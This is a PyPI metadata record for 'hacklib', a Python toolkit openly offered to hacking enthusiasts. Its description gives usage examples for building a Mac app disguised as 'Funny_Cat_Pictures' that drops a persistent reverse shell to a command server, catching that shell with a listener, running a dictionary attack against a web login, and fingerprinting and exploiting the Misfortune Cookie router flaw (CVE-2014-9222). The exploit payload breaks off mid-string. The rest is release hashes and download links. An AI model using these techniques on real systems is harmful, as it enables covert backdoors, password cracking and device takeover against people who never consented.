{ "info": { "author": "Leon Li", "author_email": "leon@apolyse.com", "bugtrack_url": null, "classifiers": [ "Development Status :: 3 - Alpha", "Environment :: Console", "Intended Audience :: Developers", "Intended Audience :: System Administrators", "Natural Language :: English", "Programming Language :: Python", "Programming Language :: Python :: 2.7", "Topic :: Internet :: File Transfer Protocol (FTP)", "Topic :: Internet :: Name Service (DNS)", "Topic :: Internet :: WWW/HTTP :: HTTP Servers", "Topic :: Internet :: WWW/HTTP :: Indexing/Search", "Topic :: Security", "Topic :: Software Development :: Build Tools", "Topic :: System :: Networking", "Topic :: System :: Systems Administration" ], "description": "hacklib is a Python module for hacking enthusiasts interested in network security. It is currently in active development.\n\nCurrent Features:\n\n1. Reverse shell backdooring\n2. Universal login client for almost all HTTP/HTTPS form-based logins and HTTP Basic Authentication logins\n3. Port Scanning\n4. Socks4/5 proxy scraping and tunneling\n\nGenerating a backdoor payload (Currently only for Macs)::\n\n import hacklib\n bd = hacklib.Backdoor()\n # Generates an app that, when ran, drops a persistent reverse shell into the system.\n bd.create('127.0.0.1', 9090, 'OSX', 'Funny_Cat_Pictures')\n # Takes the IP and port of the command server, the OS of the target, and the name of the .app\n\nShell listener (Use in conjunction with the backdoor)::\n\n import hacklib\n # Create instance of Server with the listening port\n >>> s = hacklib.Server(9090)\n >>> s.listen()\n New connection ('127.0.0.1', 51101)\n bash: no job control in this shell\n bash$ whoami\n leon\n bash$ \n # Sweet!\n\nSimple Dictionary Attack example with hacklib.AuthClient::\n\n import hacklib\n ac = hacklib.AuthClient()\n # Get the top 100 most common passwords\n passwords = hacklib.topPasswords(100)\n for p in passwords:\n htmldata = ac.login('http://yourwebsite.com/login', 'admin', p)\n if 'welcome' in htmldata.lower():\n print 'Password is', p\n break\n\nDiscovery and Exploitation of the Misfortune Cookie Exploit (CVE-2014-9222) with hacklib.PortScanner()::\n\n >>> import hacklib\n\n # Discovery\n >>> ps = hacklib.PortScanner()\n >>> ps.scan('192.168.1.1', (80, 81))\n Port 80:\n HTTP/1.1 404 Not Found\n Content-Type: text/html\n Transfer-Encoding: chunked\n Server: RomPager/4.07 UPnP/1.0\n EXT:\n # The banner for port 80 shows us that the server uses RomPager 4.07. This version is exploitable.\n\n # Exploitation\n >>> payload = '''GET /HTTP/1.1\n Host: 192.168.1.1\n User-Agent: googlebot\n Accept: text/html, application/xhtml+xml, application/xml; q=09, */*; q=0.8\n Accept-Language: en-US, en; q=0.5\n Accept-Encoding: gzip, deflate\n Cookie: C107351277=BBBBBBBBBBBBBBBBBBBB", "description_content_type": null, "docs_url": null, "download_url": "https://github.com/leonli96/python-hacklib/tarball/0.1.6", "downloads": { "last_day": -1, "last_month": -1, "last_week": -1 }, "home_page": "https://github.com/leonli96/python-hacklib", "keywords": "hacking,python,network,security,port,scanning,login,cracking,dos,proxy,scraping,ftp,sockets,scan", "license": "UNKNOWN", "maintainer": null, "maintainer_email": null, "name": "hacklib", "package_url": "https://pypi.org/project/hacklib/", "platform": "UNKNOWN", "project_url": "https://pypi.org/project/hacklib/", "project_urls": { "Download": "https://github.com/leonli96/python-hacklib/tarball/0.1.6", "Homepage": "https://github.com/leonli96/python-hacklib" }, "release_url": "https://pypi.org/project/hacklib/0.1.6/", "requires_dist": null, "requires_python": null, "summary": "Toolkit for hacking enthusiasts using Python.", "version": "0.1.6" }, "last_serial": 2387622, "releases": { "0.1": [ { "comment_text": "", "digests": { "md5": "bcc44c1b84fc49bcb09c7b94206a0b30", "sha256": "ac28e1440ad1e9e24e5971c9ba0c49bae2daead55afa97343ef09fd4de281761" }, "downloads": -1, "filename": "hacklib-0.1.tar.gz", "has_sig": false, "md5_digest": "bcc44c1b84fc49bcb09c7b94206a0b30", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 5833, "upload_time": "2016-07-02T11:42:43", "url": "https://files.pythonhosted.org/packages/af/1d/332650d65ffe0441dc362d79071ca31c9346a508e5aafda06ad88a52de9d/hacklib-0.1.tar.gz" } ], "0.1.1": [ { "comment_text": "", "digests": { "md5": "8d6858e5c053ae05149a58169571d9ee", "sha256": "7c1be0273eb05c8c261da3ad0badc29134717ffe51789e1c44f0b96592d3592c" }, "downloads": -1, "filename": "hacklib-0.1.1.tar.gz", "has_sig": false, "md5_digest": "8d6858e5c053ae05149a58169571d9ee", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 5879, "upload_time": "2016-07-02T12:15:39", "url": "https://files.pythonhosted.org/packages/69/81/97d22ab79f4074c7c1f9ab1df90c3e62266f31637a8a3c3553fc287a2e30/hacklib-0.1.1.tar.gz" } ], "0.1.2": [ { "comment_text": "", "digests": { "md5": "4672eb93f1d21e4498825cb26d10295b", "sha256": "73ad727029aed90264c6fbb7745bae41d443437c2cd0dd803ec09cbcd25409fd" }, "downloads": -1, "filename": "hacklib-0.1.2.tar.gz", "has_sig": false, "md5_digest": "4672eb93f1d21e4498825cb26d10295b", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 5897, "upload_time": "2016-07-02T12:32:14", "url": "https://files.pythonhosted.org/packages/04/f6/f651238349fb59672512b45990e11e4f7ab9d46a3c7e1d17caafa265c0dd/hacklib-0.1.2.tar.gz" } ], "0.1.3": [ { "comment_text": "", "digests": { "md5": "e9950f63aaf3f3feb398288bb0ae2499", "sha256": "137318009a5d008dbd3d18a3804cbb6f066ffd36cc6f9e03e96ee961e1e697f1" }, "downloads": -1, "filename": "hacklib-0.1.3.tar.gz", "has_sig": false, "md5_digest": "e9950f63aaf3f3feb398288bb0ae2499", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 7372, "upload_time": "2016-07-07T08:51:52", "url": "https://files.pythonhosted.org/packages/f4/40/7a75e4e25881d310fe7d927fa0e0acdaac10f3edfda0b504f7f924495536/hacklib-0.1.3.tar.gz" } ], "0.1.4": [ { "comment_text": "", "digests": { "md5": "42b4d9ab0f4e1b981b6791098145de7c", "sha256": "b9cb6fabe7ebeb4aeef94642979831471c16148ef143f39a0600d3b07480e215" }, "downloads": -1, "filename": "hacklib-0.1.4.tar.gz", "has_sig": false, "md5_digest": "42b4d9ab0f4e1b981b6791098145de7c", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 9212, "upload_time": "2016-08-19T13:14:09", "url": "https://files.pythonhosted.org/packages/e0/24/01ff0c2e57b1c094628afae82561e80c52769342232b5b90bbf55d511dac/hacklib-0.1.4.tar.gz" } ], "0.1.5": [ { "comment_text": "", "digests": { "md5": "9ccdde17c05772b0f5cde7b7b9ddecd5", "sha256": "0d9b426c40410faaea8dd88dcaf52b8fbc14342fc3d97beb90b46d66203cbd1c" }, "downloads": -1, "filename": "hacklib-0.1.5.tar.gz", "has_sig": false, "md5_digest": "9ccdde17c05772b0f5cde7b7b9ddecd5", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 10649, "upload_time": "2016-08-27T07:43:30", "url": "https://files.pythonhosted.org/packages/31/a5/3d1a3545ce2286ddc312cad504820de6ad82d0d17561e9104a0fb7c6f23d/hacklib-0.1.5.tar.gz" } ], "0.1.6": [ { "comment_text": "", "digests": { "md5": "ae12ffac29cd3ea3fa16b36fa21fd240", "sha256": "66e0b85f7360e6dfa1abc8c057ee3594304af4cd080e52f2fda426260f243034" }, "downloads": -1, "filename": "hacklib-0.1.6.3.tar.gz", "has_sig": false, "md5_digest": "ae12ffac29cd3ea3fa16b36fa21fd240", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 12464, "upload_time": "2016-10-08T02:33:40", "url": "https://files.pythonhosted.org/packages/ad/43/27ca01728862804d360a267e9980e2001575b67b35f0433fea5389fe4f9d/hacklib-0.1.6.3.tar.gz" } ] }, "urls": [ { "comment_text": "", "digests": { "md5": "ae12ffac29cd3ea3fa16b36fa21fd240", "sha256": "66e0b85f7360e6dfa1abc8c057ee3594304af4cd080e52f2fda426260f243034" }, "downloads": -1, "filename": "hacklib-0.1.6.3.tar.gz", "has_sig": false, "md5_digest": "ae12ffac29cd3ea3fa16b36fa21fd240", "packagetype": "sdist", "python_version": "source", "requires_python": null, "size": 12464, "upload_time": "2016-10-08T02:33:40", "url": "https://files.pythonhosted.org/packages/ad/43/27ca01728862804d360a267e9980e2001575b67b35f0433fea5389fe4f9d/hacklib-0.1.6.3.tar.gz" } ] }